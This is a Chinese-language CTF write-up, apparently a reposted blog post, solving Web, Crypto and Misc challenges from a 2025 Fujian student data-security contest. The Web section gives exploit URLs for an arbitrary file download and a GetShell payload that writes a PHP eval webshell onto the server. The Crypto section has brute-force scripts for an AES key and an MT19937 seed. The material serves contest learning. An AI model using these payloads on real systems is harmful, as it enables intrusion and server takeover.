文章总结: 这篇文章是2025年福建省大学生数据安全大赛的Writeup,包含Web、Crypto和Misc三类题目的解题思路。Web部分展示了文件下载漏洞利用、文件包含和GetShell技术;Crypto部分介绍了AES密钥破解和MT19937伪随机数种子还原;Misc部分则展示了图片隐写和GIF帧排序技巧。文章提供了详细的代码示例和截图,对CTF参赛者有实用参考价值。
综合评分: 88
文章分类: CTF,WEB安全,漏洞分析,代码审计,逆向分析
CTF | 2025年福建省大学生数据安全大赛部分WP
原创
不学安全
不学安全
2025年11月25日 17:41
福建
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
前言
感谢好心人给的报告才有东西水一水公众号
#
Web
一、Music
访问题目地址
点击歌曲下载发现URL为
http://127.0.0.1/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=
尝试将download.php进行base64编码后下载文件
http://127.0.0.1/download.php?url=ZG93bmxvYWQucGhw
查看文件代码
<?phperror_reporting(0);include("hereiskey.php");$url = base64_decode($_GET['url']);if($url == "hereiskey.php" || $url == "buxiangzhangda.mp3" || $url == "xingxingdiandeng.mp3" || $url == "download.php") { $filesize = filesize($url); header("Pragma: public"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Transfer-Encoding: binary"); header("Content-Type: audio/mpeg"); header("Content-Length: " . $filesize); header("Content-Disposition: attachment; filename=" . $url); echo file_get_contents($url); exit;} else { echo "Access Forbidden!";}?>
发现hereiskey.php文件
进行编码后下载
http://127.0.0.1/download.php?url=aGVyZWlza2V5LnBocA==
得到flag
二、文件包含
页面只有显示
我会一直看着你类似的话
扫目录发现隐藏一个www.zip的压缩包
打开看代码发现是要用
包含pearcmd
但是实在找不到做题记录了
参考链接:
https://blog.mo60.cn/index.php/archives/502.html
三、GetShell
<?phpif(isset($_GET) && !empty($_GET)) { $url = $_GET['file']; $path = "upload/" . $_GET['path'];} else { show_source(__FILE__); exit();}if(strpos($path, "..") > -1) { die('This is a waf!');}if(strpos($url, 'http://127.0.0.1/') === 0) { file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)";} else { echo "Hello.Geeker";}?>
分析程序会对 url 中的$file 进行访问,然后将返回的内容写入到$path 文件中,再将包含$path 的页面进行返回
并且$file 参数必须以 http://127.0.0.1/开头。所以可以将返回页面作为$file 的返回内容写入到$path 文件中来写 shell
Payload:
?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/upload/&path=<?php+@eval($_POST[qwer]);+?>
上传一句话木马进行连接
CRYPTO
一、the key to AES
给了个task.py的脚本
分析代码
给了个密文给了key长度为6但是没有给key
已知明文b'0123456789abcdef'对比 MD5 哈希值与给定 c1,匹配即得正确 key
最后用正确的key 生成 AES 密钥,对 c2 执行 AES-ECB 解密,去除 PKCS7 填充后得到原始 flag
# -*- coding: utf-8 -*-from crypto.cipher import AESfrom crypto.Util.Padding import unpadfrom hashlib import md5def gen_key(key_str): padded_key = key_str.encode() + b'\x0a' * 10 assert len(padded_key) == 16 #密钥长度 return padded_key# 已知条件(来自题目)plain_c1 = b'' # c1原始明文target_c1 = '' # c1哈希值found_key = None3print("正在破解key...")for key_num in range(0, 1000000, 2): key_str = f"{key_num:06d}" aes_key = gen_key(key_str) # 加密明文并计算MD5,匹配目标c1 aes = AES.new(aes_key, AES.MODE_ECB) cipher = aes.encrypt(plain_c1) current_c1 = md5(cipher).hexdigest() if current_c1 == target_c1: found_key = key_str print(f"成功破解key:{found_key}") breakif found_key: # c2密文 c2 = b'' # 生成AES密钥并解密 final_aes_key = gen_key(found_key) aes_decrypt = AES.new(final_aes_key, AES.MODE_ECB) padded_flag = aes_decrypt.decrypt(c2) flag = unpad(padded_flag, 16).decode('utf-8') print(f"\n最终flag:{flag}")
二、guess what
题目给了一个output.txt和task文件
#
思路
用MT19937 伪随机数生成器从给的output.txt文件反推 seed种子
再暴力破解noise通过(seed) + (noise)编码后,用 PKCS7 填充至 16 字节获得密钥
最后用16 字节密钥初始化 AES 解密器,解密密文
import osimport randomfrom typing import Listimport sysimport subprocesstry: from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpadexcept ImportError: print("Installing pycryptodome...") subprocess.check_call([sys.executable, "-m", "pip", "install", "pycryptodome"]) from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpadCIPHERTEXT = b'\x87\xf1\x35\xd0\x4a\x3b\x9c\xcf\x45\x07\xec\x35\x1b\x63\x07\x1c\xf5\x6e\x0a\x41\xb8\xc4\x87\xaf\x68\x3a\xec\x61\x7c\x1a\x19\x2a\x6d\xf3\x06\xe0\x70\xc8\xd8\x64\x00\x7e\xf2\x4c\x88\x05\x72\x2d'def get_small_primes(limit: int) -> List[int]: sieve = [True] * (limit + 1) sieve[0] = sieve[1] = False for i in range(2, int(limit ** 0.5) + 1): if sieve[i]: for j in range(i * i, limit + 1, i): sieve[j] = False return [i for i in range(2, limit + 1) if sieve[i]]def find_seed(target_bits: str, num_check: int = 10) -> int or None: max_val = 1 << 32 sqrt_max = 1 << 16 small_primes = get_small_primes(sqrt_max) segment_size = 1 << 20 start = 1 << 31 total_range = max_val - start total_segments = (total_range + segment_size - 1) // segment_size for seg_idx, low in enumerate(range(start, max_val, segment_size)): high = min(low + segment_size - 1, max_val - 1) print(f"Searching segment {seg_idx + 1}/{total_segments}: {low} to {high}") sieve = [True] * (high - low + 1) for p in small_primes: if p * p > high: break start = ((low + p - 1) // p) * p for j in range(max(start, p * 2), high + 1, p): if j >= low: sieve[j - low] = False for i in range(high - low + 1): p = low + i if p % 2 == 0 or not sieve[i]: continue random.seed(p) matched = True for k in range(num_check): temp = bin(random.getrandbits(16))[2:].zfill(16) if temp != target_bits[k * 16 : (k + 1) * 16]: matched = False break if matched: print(f"Found matching seed: {p}") return p progress = ((seg_idx + 1) / total_segments) * 100 print(f"Finished segment {seg_idx + 1}/{total_segments}. Progress: {progress:.2f}%") return Nonedef decrypt_flag(seed: int) -> bytes: for noise in range(1, 21): key = pad((str(seed) + str(noise)).encode(), 16) aes = AES.new(key, AES.MODE_ECB) pt = aes.decrypt(CIPHERTEXT) try: return unpad(pt, 16) except ValueError: continue raise RuntimeError("Flag not found within noise range 1..20.")def main(): here = os.path.dirname(os.path.abspath(__file__)) with open(os.path.join(here, "output.txt"), "r") as f: data = f.read() bit_str = ''.join([ch for ch in data if ch in '01']) seed = find_seed(bit_str) if seed is None: print("No seed found.") return print(f"[+] Seed = {seed}") random.seed(seed) generated = '' for _ in range(1248): temp = bin(random.getrandbits(16))[2:].zfill(16) generated += temp if generated == bit_str: print("Verified full output.") else: print("Full output does not match.") return flag = decrypt_flag(seed) print(f"[+] Flag: {flag.decode()}")if __name__ == "__main__": main()
Misc
一、Paint
文件下载是一张图片
一开始以为是跟LSB有关系尝试一会发现没什么线索
之后丢到hxd里面发现图片里面有一段神秘的16进制
16进制转字符串再base64解密,得到XY坐标串
最后将坐标串转换成图片
#
二、Gif
一个二维码的gif图
#
分离gif图片后重新将图片排序
#
#
#
#
#
#
#
推荐看看23年的线下题目比较有意思
https://blog.mo60.cn/index.php/archives/2023-fjss.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不学安全 不学安全《CTF | 2025年福建省大学生数据安全大赛部分WP》